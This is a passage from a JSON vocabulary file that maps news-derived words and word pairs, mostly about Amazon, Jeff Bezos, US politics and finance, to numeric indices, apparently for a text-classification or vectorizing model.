total\": 154618,\n  \"play16 nov\": 154619,\n  \"asked ami\": 154620,\n  \"curtail transgender\": 154621,\n  \"ranking fox\": 154622,\n  \"500m\": 154623,\n  \"naomi nix\": 154624,\n  \"kid trump\": 154625,\n  \"worst nightmare\": 154626,\n  \"particular niche\": 154627,\n  \"index repubs\": 154628,\n  \"skokie illinois\": 154629,\n  \"doing zuker\": 154630,\n  \"amazon prepares\": 154631,\n  \"senate regardless\": 154632,\n  \"schade\": 154633,\n  \"lower number\": 154634,\n  \"thompson hine\": 154635,\n  \"guan\": 154636,\n  \"police stood\": 154637,\n  \"rectangles\": 154638,\n  \"sunstein\": 154639,\n  \"pompeo detailing\": 154640,\n  \"fcc commissioner\": 154641,\n  \"james robertson\": 154642,\n  \"600\": 154643,\n  \"partisan tax\": 154644,\n  \"immigrant ad\": 154645,\n  \"idiot pete\": 154646,\n  \"netherlands bermuda\": 154647,\n  \"anthology horror\": 154648,\n  \"special powers\": 154649,\n  \"reassure local\": 154650,\n  \"135 987mm\": 154651,\n  \"blames israel\": 154652,\n  \"minimum sentence\": 154653,\n  \"daniel pearl\": 154654,\n  \"independent films\": 154655,\n  \"college board\": 154656,\n  \"70m\": 154657,\n  \"agent dropkicks\": 154658,\n  \"open massive\": 154659,\n  \"year gala\": 154660,\n  \"search companies\": 154661,\n  \"status 1021384752136409088\": 154662,\n  \"corps project\": 154663,\n  \"netflix don\": 154664,\n  \"rauschenberg buffalo\": 154665,\n  \"traveller game\": 154666,\n  \"court immigration\": 154667,\n  \"dropped bombshell\": 154668,\n  \"harpoonconnect\": 154669,\n  \"robotic pitcher\": 154670,\n  \"court tomorrow\": 154671,\n  \"kit just\": 154672,\n  \"zuker tweeted\": 154673,\n  \"120 000\": 154674,\n  \"arts\": 154675,\n  \"court barred\": 154676,\n  \"nfl football\": 154677,\n  \"friendmatty\": 154678,\n  \"season especially\": 154679,\n  \"e0 t0\": 154680,\n  \"book excerpt\": 154681,\n  \"billion company\": 154682,\n  \"plus years\": 154683,\n  \"specifically focus\": 154684,\n  \"sanchez knew\": 154685,\n  \"computing support\": 154686,\n  \"ahead including\": 154687,\n  \"skipping\": 154688,\n  \"usps developing\": 154689,\n  \"discredit news\": 154690,\n  \"story house\": 154691,\n  \"ami engaged\": 154692,\n  \"keeping fairly\": 154693,\n  \"gift cards\": 154694,\n  \"points associated\": 154695,\n  \"slansky charities\": 154696,\n  \"provide service\": 154697,\n  \"photoessayslides null\": 154698,\n  \"strategy selling\": 154699,\n  \"length standalone\": 154700,\n  \"photographs\": 154701,\n  \"president scandals\": 154702,\n  \"christians\": 154703,\n  \"isliveplayer false\": 154704,\n  \"economic effect\": 154705,\n  \"vanity border\": 154706,\n  \"merchandise bearing\": 154707,\n  \"178\": 154708,\n  \"frisk\": 154709,\n  \"amazon elevated\": 154710,\n  \"consumers instead\": 154711,\n  \"status 1014801031325241344\": 154712,\n  \"books electronics\": 154713,\n  \"gary burtless\": 154714,\n  \"matt\": 154715,\n  \"combs vandal\": 154716,\n  \"mikesnider\": 154717,\n  \"drivers\": 154718,\n  \"vote republican\": 154719,\n  \"ayers sent\": 154720,\n  \"generating losses\": 154721,\n  \"ensuring minimum\": 154722,\n  \"avoided paying\": 154723,\n  \"bells correct\": 154724,\n  \"american charter\": 154725,\n  \"plastic recycling\": 154726,\n  \"complex tale\": 154727,\n  \"service says\": 154728,\n  \"house movement\": 154729,\n  \"fuel audio\": 154730,\n  \"anthony ray\": 154731,\n  \"transgressions ranging\": 154732,\n  \"parliament delivered\": 154733,\n  \"calling mccabe\": 154734,\n  \"felled\": 154735,\n  \"joining jeff\": 154736,\n  \"grove press\": 154737,\n  \"started twitter\": 154738,\n  \"appointed person\": 154739,\n  \"303\": 154740,\n  \"oscar winner\": 154741,\n  \"spin fear\": 154742,\n  \"boys club\": 154743,\n  \"repurchasing shares\": 154744,\n  \"120 plus\": 154745,\n  \"officials criticized\": 154746,\n  \"dropped ivanka\": 154747,\n  \"nomination gallup\": 154748,\n  \"1905 centers\": 154749,\n  \"dozen ways\": 154750,\n  \"ivanka download\": 154751,\n  \"companies city\": 154752,\n  \"kelowna\": 154753,\n  \"insane remarks\": 154754,\n  \"emmys\": 154755,\n  \"son barron\": 154756,\n  \"earned income\": 154757,\n  \"soybean growers\": 154758,\n  \"stalemate rod\": 154759,\n  \"monopoly verizon\": 154760,\n  \"gallons\": 154761,\n  \"automatic increases\": 154762,\n  \"knobbe\": 154763,\n  \"official reiterated\": 154764,\n  \"nice review\": 154765,\n  \"york wouldn\": 154766,\n  \"putin russia\": 154767,\n  \"illusionist\": 154768,\n  \"secretive aerospace\": 154769,\n  \"press new\": 154770,\n  \"occasio\": 154771,\n  \"voiced concerns\": 154772,\n  \"wage war\": 154773,\n  \"misheard commands\": 154774,\n  \"era classification\": 154775,\n  \"powerful loyalty\": 154776,\n  \"investors won\": 154777,\n  \"jpg president\": 154778,\n  \"fueled giveaway\": 154779,\n  \"prevented states\": 154780,\n  \"aka bezos\": 154781,\n  \"mature market\": 154782,\n  \"emotional moment\": 154783,\n  \"article quickly\": 154784,\n  \"wavering\": 154785,\n  \"excellency\": 154786,\n  \"640 254\": 154787,\n  \"cohnovernight finance\": 154788,\n  \"yahoofinance\": 154789,\n  \"tv streaming\": 154790,\n  \"ktvq\": 154791,\n  \"faster cfo\": 154792,\n  \"hollywood scandal\": 154793,\n  \"involving internet\": 154794,\n  \"foundations chairman\": 154795,\n  \"era dominated\": 154796,\n  \"time tjl\": 154797,\n  \"rebeccaballhaus\": 154798,\n  \"worst level\": 154799,\n  \"possible regulatory\": 154800,\n  \"base happy\": 154801,\n  \"cnbc courtney\": 154802,\n  \"warts\": 154803,\n  \"compatibility\": 154804,\n  \"president trumpdeclared\": 154805,\n  \"concentrate power\": 154806,\n  \"included amazon\": 154807,\n  \"upbeat results\": 154808,\n  \"dinner rolls\": 154809,\n  \"mixed signals\": 154810,\n  \"depiction\": 154811,\n  \"actually membership\": 154812,\n  \"leaders decided\": 154813,\n  \"victoria\": 154814,\n  \"oracle orcl\": 154815,\n  \"chevron nyse\": 154816,\n  \"investors focus\": 154817,\n  \"exlarge\": 154818,\n  \"foul\": 154819,\n  \"40am\": 154820,\n  \"official statistics\": 154821,\n  \"counsel isn\": 154822,\n  \"cup according\": 154823,\n  \"candidate john\": 154824,\n  \"michael sanchez\": 154825,\n  \"grew approximately\": 154826,\n  \"populated\": 154827,\n  \"proud tradition\": 154828,\n  \"congratulatory tweet\": 154829,\n  \"johnson foundation\": 154830,\n  \"osborne offred\": 154831,\n  \"new yorker\": 154832,\n  \"tuition free\": 154833,\n  \"reckoning\": 154834,\n  \"kaphle\": 154835,\n  \"bezos commute\": 154836,\n  \"window adsbygoogle\": 154837,\n  \"votes count\": 154838,\n  \"hybrids\": 154839,\n  \"innovating apple\": 154840,\n  \"minor player\": 154841,\n  \"officer pretends\": 154842,\n  \"increasingly totalitarian\": 154843,\n  \"amazon leapt\": 154844,\n  \"welcome immigrants\": 154845,\n  \"knot ms\": 154846,\n  \"rare tumor\": 154847,\n  \"gyllenhaal makes\": 154848,\n  \"sites possible\": 154849,\n  \"hospitalized\": 154850,\n  \"ridesharing service\": 154851,\n  \"new google\": 154852,\n  \"clinton garnered\": 154853,\n  \"contract solely\": 154854,\n  \"warner deal\": 154855,\n  \"bans shoppers\": 154856,\n  \"aws continues\": 154857,\n  \"night lot\": 154858,\n  \"needed good\": 154859,\n  \"policies promoted\": 154860,\n  \"read just\": 154861,\n  \"digital economy\": 154862,\n  \"doepfner\": 154863,\n  \"1940x900\": 154864,\n  \"exact date\": 154865,\n  \"wrote parscale\": 154866,\n  \"mistake trump\": 154867,\n  \"access good\": 154868,\n  \"franzia floated\": 154869,\n  \"money speaking\": 154870,\n  \"inventory slack\": 154871,\n  \"lightweight parcel\": 154872,\n  \"areas initially\": 154873,\n  \"discounts mark\": 154874,\n  \"produced alarming\": 154875,\n  \"gateways\": 154876,\n  \"various companies\": 154877,\n  \"recent state\": 154878,\n  \"house flubbed\": 154879,\n  \"concerns centered\": 154880,\n  \"sidewalk think\": 154881,\n  \"versus big\": 154882,\n  \"virginia militant\": 154883,\n  \"alinea\": 154884,\n  \"bzr2gluymv\": 154885,\n  \"enquirer released\": 154886,\n  \"shares initially\": 154887,\n  \"ls\": 154888,\n  \"fair markets\": 154889,\n  \"good graces\": 154890,\n  \"security amazon\": 154891,\n  \"leaders utah\": 154892,\n  \"operations treasury\": 154893,\n  \"offered 7bn\": 154894,\n  \"mcintosh president\": 154895,\n  \"repmaxinewaters lang\": 154896,\n  \"homosexuals indians\": 154897,\n  \"extensive steps\": 154898,\n  \"photos specifically\": 154899,\n  \"wme entertainment\": 154900,\n  \"apparently lost\": 154901,\n  \"exchanged friendly\": 154902,\n  \"falsely purports\": 154903,\n  \"report stated\": 154904,\n  \"frontlines\": 154905,\n  \"creates big\": 154906,\n  \"second class\": 154907,\n  \"near year\": 154908,\n  \"tm trump\": 154909,\n  \"company investment\": 154910,\n  \"intimidated harley\": 154911,\n  \"kan\": 154912,\n  \"outside kearns\": 154913,\n  \"price colored\": 154914,\n  \"corporation owns\": 154915,\n  \"couldn help\": 154916,\n  \"buy american\": 154917,\n  \"day families\": 154918,\n  \"prices mean\": 154919,\n  \"morning look\": 154920,\n  \"course loves\": 154921,\n  \"raise millions\": 154922,\n  \"government insiders\": 154923,\n  \"texts bezos\": 154924,\n  \"misses beer\": 154925,\n  \"connection given\": 154926,\n  \"relay race\": 154927,\n  \"strong begin\": 154928,\n  \"jury argues\": 154929,\n  \"car wash\": 154930,\n  \"clifford mayor\": 154931,\n  \"police helicopter\": 154932,\n  \"claire mccaskill\": 154933,\n  \"rarity\": 154934,\n  \"told cohen\": 154935,\n  \"enabled women\": 154936,\n  \"fangs\": 154937,\n  \"dollar weakened\": 154938,\n  \"trump helps\": 154939,\n  \"lower courts\": 154940,\n  \"completeness\": 154941,\n  \"trump know\": 154942,\n  \"cuts economy\": 154943,\n  \"trade dress\": 154944,\n  \"usb cable\": 154945,\n  \"counterfeiting agency\": 154946,\n  \"technology outdoor\": 154947,\n  \"proving liability\": 154948,\n  \"dozen bathrooms\": 154949,\n  \"threatening substance\": 154950,\n  \"increase manhood\": 154951,\n  \"guild arguments\": 154952,\n  \"sprinkles yes\": 154953,\n  \"jain\": 154954,\n  \"properties decreased\": 154955,\n  \"pause moment\": 154956,\n  \"locations delivered\": 154957,\n  \"amazon ebs\": 154958,\n  \"yes sir\": 154959,\n  \"planet jeff\": 154960,\n  \"unclaimed valentines\": 154961,\n  \"poodle outside\": 154962,\n  \"rival\": 154963,\n  \"economic models\": 154964,\n  \"ally telling\": 154965,\n  \"jobs equals\": 154966,\n  \"real insight\": 154967,\n  \"content moderation\": 154968,\n  \"philosophy underage\": 154969,\n  \"abromowitz\": 154970,\n  \"major staff\": 154971,\n  \"tech ecosystem\": 154972,\n  \"restrictive regulations\": 154973,\n  \"nationwide search\": 154974,\n  \"plaguing\": 154975,\n  \"pentagon jeff\": 154976,\n  \"news apps\": 154977,\n  \"trump blamed\": 154978,\n  \"genre defying\": 154979,\n  \"appstore business\": 154980,\n  \"assess claims\": 154981,\n  \"industry analysts\": 154982,\n  \"pay concern\": 154983,\n  \"amazon offices\": 154984,\n  \"janis esch\": 154985,\n  \"grocery business\": 154986,\n  \"lower churn\": 154987,\n  \"recently economists\": 154988,\n  \"takes later\": 154989,\n  \"market open\": 154990,\n  \"provide limited\": 154991,\n  \"rounds\": 154992,\n  \"amazon fresh\": 154993,\n  \"t000002953\": 154994,\n  \"dehydrated\": 154995,\n  \"article thumbimageelem\": 154996,\n  \"blown gaping\": 154997,\n  \"limited risk\": 154998,\n  \"packages photo\": 154999,\n  \"france\": 155000,\n  \"documents uncovered\": 155001,\n  \"sources newsletter\": 155002,\n  \"political science\": 155003,\n  \"wall declaration\": 155004,\n  \"airbus envisioned\": 155005,\n  \"840 r1\": 155006,\n  \"think right\": 155007,\n  \"fun product\": 155008,\n  \"patterns amazon\": 155009,\n  \"department releases\": 155010,\n  \"grant administration\": 155011,\n  \"rejoicing\": 155012,\n  \"spring organizing\": 155013,\n  \"marketwatch free\": 155014,\n  \"classics including\": 155015,\n  \"lectures\": 155016,\n  \"street journal\": 155017,\n  \"street enthusiasm\": 155018,\n  \"practice investigations\": 155019,\n  \"story sanders\": 155020,\n  \"remaining school\": 155021,\n  \"vietnam oversight\": 155022,\n  \"return n3x\": 155023,\n  \"amazon driver\": 155024,\n  \"cool product\": 155025,\n  \"takes lot\": 155026,\n  \"world white\": 155027,\n  \"sheriff\": 155028,\n  \"especially illinois\": 155029,\n  \"pressure bezos\": 155030,\n  \"political crisis\": 155031,\n  \"labor advocates\": 155032,\n  \"scream aloud\": 155033,\n  \"overreacts danger\": 155034,\n  \"arends marketwatch\": 155035,\n  \"subscription settings\": 155036,\n  \"white whales\": 155037,\n  \"need communities\": 155038,\n  \"persecution\": 155039,\n  \"including ronan\": 155040,\n  \"forbes estimates\": 155041,\n  \"fnn pic\": 155042,\n  \"thieves\": 155043,\n  \"winter campaign\": 155044,\n  \"pic new\": 155045,\n  \"mckenzie bezos\": 155046,\n  \"carnivorous cannibalistic\": 155047,\n  \"kicked\": 155048,\n  \"post frequently\": 155049,\n  \"thesis amazon\": 155050,\n  \"cowen dives\": 155051,\n  \"hall ahead\": 155052,\n  \"costly campaigns\": 155053,\n  \"shootings send\": 155054,\n  \"read presidential\": 155055,\n  \"real incidents\": 155056,\n  \"rejected congressional\": 155057,\n  \"editions\": 155058,\n  \"frozen\": 155059,\n  \"geforce\": 155060,\n  \"mardenborough\": 155061,\n  \"stephen hawking\": 155062,\n  \"sized campus\": 155063,\n  \"mannequin credited\": 155064,\n  \"\\u0430knocked\\u0430\": 155065,\n  \"boss did\": 155066,\n  \"interdiction account\": 155067,\n  \"testify border\": 155068,\n  \"lightly edited\": 155069,\n  \"515\": 155070,\n  \"1970s courts\": 155071,\n  \"looks inevitable\": 155072,\n  \"hrafnsson wikileaks\": 155073,\n  \"willy\": 155074,\n  \"dhs biometric\": 155075,\n  \"today new\": 155076,\n  \"skewers\": 155077,\n  \"wage\": 155078,\n  \"bremberg trump\": 155079,\n  \"image trying\": 155080,\n  \"parades\": 155081,\n  \"disclose financial\": 155082,\n  \"club prime\": 155083,\n  \"china accounted\": 155084,\n  \"new 737\": 155085,\n  \"congressman david\": 155086,\n  \"retailers donald\": 155087,\n  \"thanks amazon\": 155088,\n  \"crude output\": 155089,\n  \"mail delivery\": 155090,\n  \"wrong amazon\": 155091,\n  \"reports late\": 155092,\n  \"company snl\": 155093,\n  \"society figures\": 155094,\n  \"cabin movies\": 155095,\n  \"big green\": 155096,\n  \"future boeing\": 155097,\n  \"valley beginning\": 155098,\n  \"watched fake\": 155099,\n  \"marctomarket\": 155100,\n  \"lower premiums\": 155101,\n  \"monopoly inclined\": 155102,\n  \"migrants trying\": 155103,\n  \"workedvery hard\": 155104,\n  \"calif fueled\": 155105,\n  \"auxiliarytext\": 155106,\n  \"inmate advocate\": 155107,\n  \"subsidizing\": 155108,\n  \"profit related\": 155109,\n  \"kirshner\": 155110,\n  \"parkland colorado\": 155111,\n  \"exchanging love\": 155112,\n  \"showindex carouselcontentitems\": 155113,\n  \"averages\": 155114,\n  \"thenew\": 155115,\n  \"different locale\": 155116,\n  \"fellow matthew\": 155117,\n  \"doable\": 155118,\n  \"mackenzie predicting\": 155119,\n  \"grinding relentlessly\": 155120,\n  \"headquarters outside\": 155121,\n  \"cited emails\": 155122,\n  \"amazon unlike\": 155123,\n  \"democrats block\": 155124,\n  \"course bringing\": 155125,\n  \"unquestionably\": 155126,\n  \"bezos dryden\": 155127,\n  \"brashness\": 155128,\n  \"giving states\": 155129,\n  \"reading feb\": 155130,\n  \"trump disclosure\": 155131,\n  \"ecause\": 155132,\n  \"binetti\": 155133,\n  \"quite ride\": 155134,\n  \"information crippling\": 155135,\n  \"nosrat based\": 155136,\n  \"environmental discourse\": 155137,\n  \"told president\": 155138,\n  \"exciting fun\": 155139,\n  \"nordstrom combined\": 155140,\n  \"comedian lane\": 155141,\n  \"cook nadella\": 155142,\n  \"businesses interested\": 155143,\n  \"governor recently\": 155144,\n  \"shared ownership\": 155145,\n  \"foils cyberattack\": 155146,\n  \"convincing version\": 155147,\n  \"healthcare education\": 155148,\n  \"recalled discussion\": 155149,\n  \"physically handle\": 155150,\n  \"note 2019\": 155151,\n  \"ridiculous socks\": 155152,\n  \"china agreement\": 155153,\n  \"customer based\": 155154,\n  \"metadata show__name\": 155155,\n  \"inhumans amazon\": 155156,\n  \"texas general\": 155157,\n  \"totally conflicted\": 155158,\n  \"criticizes bezos\": 155159,\n  \"billion cloud\": 155160,\n  \"good najarian\": 155161,\n  \"issues conversations\": 155162,\n  \"prediction proves\": 155163,\n  \"samsung electronics\": 155164,\n  \"midterms\": 155165,\n  \"married woman\": 155166,\n  \"just automatically\": 155167,\n  \"retail revenue\": 155168,\n  \"media4\": 155169,\n  \"site gizmodo\": 155170,\n  \"source mark\": 155171,\n  \"break big\": 155172,\n  \"blames government\": 155173,\n  \"github platform\": 155174,\n  \"story\": 155175,\n  \"community brewer\": 155176,\n  \"luxury bmw\": 155177,\n  \"homelandsecurity\": 155178,\n  \"job choices\": 155179,\n  \"x2x\": 155180,\n  \"pride reflection\": 155181,\n  \"different methods\": 155182,\n  \"hatch calls\": 155183,\n  \"cartoon rep\": 155184,\n  \"commerce wsj\": 155185,\n  \"similarweb\": 155186,\n  \"jedi short\": 155187,\n  \"emerging private\": 155188,\n  \"court voted\": 155189,\n  \"profiling new\": 155190,\n  \"evaluations\": 155191,\n  \"defying piece\": 155192,\n  \"amazon travelers\": 155193,\n  \"visited today\": 155194,\n  \"runaways\": 155195,\n  \"kennaugh\": 155196,\n  \"plagiarized identified\": 155197,\n  \"bashed amazon\": 155198,\n  \"gras\": 155199,\n  \"demand tougher\": 155200,\n  \"sonner\": 155201,\n  \"1n7u5sb\": 155202,\n  \"helpful frontline\": 155203,\n  \"fix problem\": 155204,\n  \"known remember\": 155205,\n  \"democracy alan\": 155206,\n  \"taneja\": 155207,\n  \"mendacious man\": 155208,\n  \"thoroughly rejected\": 155209,\n  \"food foray\": 155210,\n  \"growth sector\": 155211,\n  \"wgn airs\": 155212,\n  \"support local\": 155213,\n  \"wig\": 155214,\n  \"deeply moved\": 155215,\n  \"really want\": 155216,\n  \"warts developing\": 155217,\n  \"comment early\": 155218,\n  \"impeachment maybe\": 155219,\n  \"week underscores\": 155220,\n  \"confirming insurance\": 155221,\n  \"finance cancer\": 155222,\n  \"remember\": 155223,\n  \"story continuing\": 155224,\n  \"tommy lee\": 155225,\n  \"hq2 national\": 155226,\n  \"colarusso\": 155227,\n  \"nominee brett\": 155228,\n  \"scrutiny hefty\": 155229,\n  \"drunken moment\": 155230,\n  \"hanes brands\": 155231,\n  \"pf_rd_r\": 155232,\n  \"fraudulent financial\": 155233,\n  \"975\": 155234,\n  \"installment pushes\": 155235,\n  \"amazon picks\": 155236,\n  \"alex cross\": 155237,\n  \"tale bezos\": 155238,\n  \"popular tv\": 155239,\n  \"sec asks\": 155240,\n  \"carousel currentvideocollectioncontainsid\": 155241,\n  \"fund medicare\": 155242,\n  \"associated tax\": 155243,\n  \"tariffs ranging\": 155244,\n  \"amafonz headquarters\": 155245,\n  \"massachusetts playbook\": 155246,\n  \"investor software\": 155247,\n  \"lake tells\": 155248,\n  \"ascendance\": 155249,\n  \"purchasing managers\": 155250,\n  \"bearer\": 155251,\n  \"china suspended\": 155252,\n  \"layoff\": 155253,\n  \"creating fortune\": 155254,\n  \"monstrously huge\": 155255,\n  \"ethics sanders\": 155256,\n  \"broader markets\": 155257,\n  \"stuff publix\": 155258,\n  \"celebrity tabloid\": 155259,\n  \"worker ability\": 155260,\n  \"department practice\": 155261,\n  \"unwind\": 155262,\n  \"nam check\": 155263,\n  \"wong recipe\": 155264,\n  \"mcshane gillian\": 155265,\n  \"considering senate\": 155266,\n  \"ceo bought\": 155267,\n  \"cardi grammy\": 155268,\n  \"administration lot\": 155269,\n  \"spacex\": 155270,\n  \"leslie stahl\": 155271,\n  \"europe repair\": 155272,\n  \"gains include\": 155273,\n  \"chip somodevilla\": 155274,\n  \"corey johnson\": 155275,\n  \"relationships lobbying\": 155276,\n  \"apparent strength\": 155277,\n  \"starting salaries\": 155278,\n  \"elderly individuals\": 155279,\n  \"doubleline jeffrey\": 155280,\n  \"uneven\": 155281,\n  \"service actually\": 155282,\n  \"informant exposed\": 155283,\n  \"ago xcel\": 155284,\n  \"technology analyst\": 155285,\n  \"bookselling classes\": 155286,\n  \"lets businesses\": 155287,\n  \"fed president\": 155288,\n  \"6x\": 155289,\n  \"kirke oboist\": 155290,\n  \"ami general\": 155291,\n  \"hit peak\": 155292,\n  \"actually claiming\": 155293,\n  \"trend continued\": 155294,\n  \"mentally deficient\": 155295,\n  \"strong market\": 155296,\n  \"headquarters despite\": 155297,\n  \"discussed streaming\": 155298,\n  \"story california\": 155299,\n  \"giant middle\": 155300,\n  \"hardcore computer\": 155301,\n  \"super sized\": 155302,\n  \"operated cloud\": 155303,\n  \"fawn\": 155304,\n  \"aldi plans\": 155305,\n  \"using biometric\": 155306,\n  \"endanger national\": 155307,\n  \"ring prime\": 155308,\n  \"adventurous investors\": 155309,\n  \"thehill\": 155310,\n  \"streaks\": 155311,\n  \"trump directives\": 155312,\n  \"contract workers\": 155313,\n  \"millennium films\": 155314,\n  \"reading toca\": 155315,\n  \"100ths\": 155316,\n  \"alleging corruption\": 155317,\n  \"gunfire\": 155318,\n  \"disinterested children\": 155319,\n  \"told ronan\": 155320,\n  \"successfully\": 155321,\n  \"spokesman josh\": 155322,\n  \"month bringing\": 155323,\n  \"purchased ads\": 155324,\n  \"competitors dubbed\": 155325,\n  \"000 dollars\": 155326,\n  \"seeding attack\": 155327,\n  \"anybody thought\": 155328,\n  \"gives readers\": 155329,\n  \"business busy\": 155330,\n  \"amazon grow\": 155331,\n  \"steve scalise\": 155332,\n  \"black amazon\": 155333,\n  \"mounting legal\": 155334,\n  \"stock washington\": 155335,\n  \"theprosecutors\": 155336,\n  \"75th street\": 155337,\n  \"ozimek\": 155338,\n  \"shakeout president\": 155339,\n  \"morning gary\": 155340,\n  \"states forest\": 155341,\n  \"paypal payments\": 155342,\n  \"finally began\": 155343,\n  \"lurid new\": 155344,\n  \"horror chance\": 155345,\n  \"sales cnn\": 155346,\n  \"hexgears\": 155347,\n  \"valuable innovation\": 155348,\n  \"walgreens boosts\": 155349,\n  \"teva pharmaceutical\": 155350,\n  \"cars berlin\": 155351,\n  \"world trump\": 155352,\n  \"normal wawx\": 155353,\n  \"establishment\": 155354,\n  \"gaga nbc\": 155355,\n  \"jury convicts\": 155356,\n  \"armored car\": 155357,\n  \"hill house\": 155358,\n  \"briefing bezos\": 155359,\n  \"brave men\": 155360,\n  \"raise child\": 155361,\n  \"right away\": 155362,\n  \"msf hospital\": 155363,\n  \"expired partnering\": 155364,\n  \"truths leaks\": 155365,\n  \"higher oil\": 155366,\n  \"adding customers\": 155367,\n  \"commercially sensitive\": 155368,\n  \"failla join\": 155369,\n  \"specific controls\": 155370,\n  \"indications\": 155371,\n  \"abc california\": 155372,\n  \"actors\": 155373,\n  \"phil bredesen\": 155374,\n  \"evaded government\": 155375,\n  \"amendment section\": 155376,\n  \"today playbook\": 155377,\n  \"block cheese\": 155378,\n  \"kept travel\": 155379,\n  \"china economic\": 155380,\n  \"market trends\": 155381,\n  \"rogoff asks\": 155382,\n  \"micro budget\": 155383,\n  \"joseph kosinski\": 155384,\n  \"violence sexual\": 155385,\n  \"demand wholesale\": 155386,\n  \"remain shrouded\": 155387,\n  \"sweats\": 155388,\n  \"article gordon\": 155389,\n  \"nice cheeses\": 155390,\n  \"expire\": 155391,\n  \"dorning 2019\": 155392,\n  \"pavlich additionally\": 155393,\n  \"businesses jeff\": 155394,\n  \"necessarily bad\": 155395,\n  \"left loathe\": 155396,\n  \"bans people\": 155397,\n  \"contentious divorce\": 155398,\n  \"analyst brian\": 155399,\n  \"spendvalentine day\": 155400,\n  \"additional labor\": 155401,\n  \"boy trump\": 155402,\n  \"gymnast aly\": 155403,\n  \"weeks bezos\": 155404,\n  \"exceedingly\": 155405,\n  \"issued long\": 155406,\n  \"maybe wouldn\": 155407,\n  \"promotes large\": 155408,\n  \"posted recent\": 155409,\n  \"conflict ubhi\": 155410,\n  \"jiayang fan\": 155411,\n  \"choices suggest\": 155412,\n  \"product akin\": 155413,\n  \"retailers makes\": 155414,\n  \"visit\": 155415,\n  \"plus competition\": 155416,\n  \"possible including\": 155417,\n  \"continues\": 155418,\n  \"france revenue\": 155419,\n  \"showed\": 155420,\n  \"growing debt\": 155421,\n  \"market taking\": 155422,\n  \"apple did\": 155423,\n  \"underpaid facility\": 155424,\n  \"model critics\": 155425,\n  \"brief embattled\": 155426,\n  \"doubleclick story\": 155427,\n  \"people chose\": 155428,\n  \"james bank\": 155429,\n  \"political necessity\": 155430,\n  \"lottery news\": 155431,\n  \"orders lunch\": 155432,\n  \"corporation concern\": 155433,\n  \"585\": 155434,\n  \"scholarship program\": 155435,\n  \"financial pain\": 155436,\n  \"douglas high\": 155437,\n  \"development estimates\": 155438,\n  \"londonislovinit mancismarvellous\": 155439,\n  \"false nextvideoid\": 155440,\n  \"snap cfo\": 155441,\n  \"tolling\": 155442,\n  \"real testament\": 155443,\n  \"paulmanafort trump\": 155444,\n  \"ulrich calls\": 155445,\n  \"resurrection\": 155446,\n  \"federal operating\": 155447,\n  \"nurses insurance\": 155448,\n  \"corporate sales\": 155449,\n  \"allegedly lists\": 155450,\n  \"instead set\": 155451,\n  \"economy republicans\": 155452,\n  \"sonoya mizuno\": 155453,\n  \"facing strong\": 155454,\n  \"president heightened\": 155455,\n  \"cnn characterized\": 155456,\n  \"50m alibi\": 155457,\n  \"536\": 155458,\n  \"overturned ruling\": 155459,\n  \"perfect example\": 155460,\n  \"separate ownership\": 155461,\n  \"pointless attorney\": 155462,\n  \"week saying\": 155463,\n  \"firm argued\": 155464,\n  \"oak ceiling\": 155465,\n  \"city explaining\": 155466,\n  \"photo courtesy\": 155467,\n  \"remain anonymous\": 155468,\n  \"just released\": 155469,\n  \"sophisticated delivery\": 155470,\n  \"hdr\": 155471,\n  \"amazon estimated\": 155472,\n  \"wide rock\": 155473,\n  \"ran party\": 155474,\n  \"personally attempting\": 155475,\n  \"kong hang\": 155476,\n  \"aluminum alcoa\": 155477,\n  \"recession companies\": 155478,\n  \"house influence\": 155479,\n  \"face turned\": 155480,\n  \"sanchez describing\": 155481,\n  \"europe wall\": 155482,\n  \"nyse fdx\": 155483,\n  \"pale\": 155484,\n  \"stores extended\": 155485,\n  \"luster\": 155486,\n  \"gaiman adapted\": 155487,\n  \"unwitting\": 155488,\n  \"valuation allowance\": 155489,\n  \"control board\": 155490,\n  \"stop cheating\": 155491,\n  \"high tolerance\": 155492,\n  \"skirted\": 155493,\n  \"hayek\": 155494,\n  \"watch spongebob\": 155495,\n  \"exploratory oil\": 155496,\n  \"boeing withheld\": 155497,\n  \"year galloway\": 155498,\n  \"trade tiff\": 155499,\n  \"billion bezos\": 155500,\n  \"largest ride\": 155501,\n  \"reporter farhad\": 155502,\n  \"saving money\": 155503,\n  \"closing high\": 155504,\n  \"trump richard\": 155505,\n  \"recordings took\": 155506,\n  \"study suggests\": 155507,\n  \"2019 file\": 155508,\n  \"personal scores\": 155509,\n  \"storms kill\": 155510,\n  \"recent treasury\": 155511,\n  \"japanese hotel\": 155512,\n  \"shoes online\": 155513,\n  \"residents living\": 155514,\n  \"titled amazon\": 155515,\n  \"paid 412\": 155516,\n  \"documented bleak\": 155517,\n  \"slam\": 155518,\n  \"loon scottie\": 155519,\n  \"filtering practices\": 155520,\n  \"prominent attorney\": 155521,\n  \"services operations\": 155522,\n  \"european brick\": 155523,\n  \"company estimates\": 155524,\n  \"assistance\": 155525,\n  \"morning set\": 155526,\n  \"store owned\": 155527,\n  \"year wages\": 155528,\n  \"gielan\": 155529,\n  \"imports tariff\": 155530,\n  \"follow\": 155531,\n  \"previous celebrity\": 155532,\n  \"ingraham advertisers\": 155533,\n  \"retailer casino\": 155534,\n  \"defense positions\": 155535,\n  \"week reported\": 155536,\n  \"globaldata retail\": 155537,\n  \"gm meets\": 155538,\n  \"award santa\": 155539,\n  \"impoverished italian\": 155540,\n  \"sounds amazon\": 155541,\n  \"sweepstakes\": 155542,\n  \"vta\": 155543,\n  \"titular preacher\": 155544,\n  \"rally mean\": 155545,\n  \"damon holiday\": 155546,\n  \"times balancing\": 155547,\n  \"compelling case\": 155548,\n  \"little faster\": 155549,\n  \"virginia largest\": 155550,\n  \"courting technology\": 155551,\n  \"site refused\": 155552,\n  \"rupert\": 155553,\n  \"trading session\": 155554,\n  \"break\": 155555,\n  \"burglars\": 155556,\n  \"hollow\": 155557,\n  \"guarantee healthy\": 155558,\n  \"allegedly harvested\": 155559,\n  \"economic recession\": 155560,\n  \"lawyer cohen\": 155561,\n  \"news coincided\": 155562,\n  \"currently meet\": 155563,\n  \"rapid rise\": 155564,\n  \"abatement worth\": 155565,\n  \"whatsappshareelement carouselcontentitems\": 155566,\n  \"protest inhuman\": 155567,\n  \"regulatory fee\": 155568,\n  \"tomorrow deere\": 155569,\n  \"educators reject\": 155570,\n  \"freepik\": 155571,\n  \"quite literally\": 155572,\n  \"funereal\": 155573,\n  \"affiliate partnerships\": 155574,\n  \"firm cloud\": 155575,\n  \"zocpbd43p7\": 155576,\n  \"viewed apps\": 155577,\n  \"herera good\": 155578,\n  \"thinks aside\": 155579,\n  \"intricacy\": 155580,\n  \"started keeping\": 155581,\n  \"block 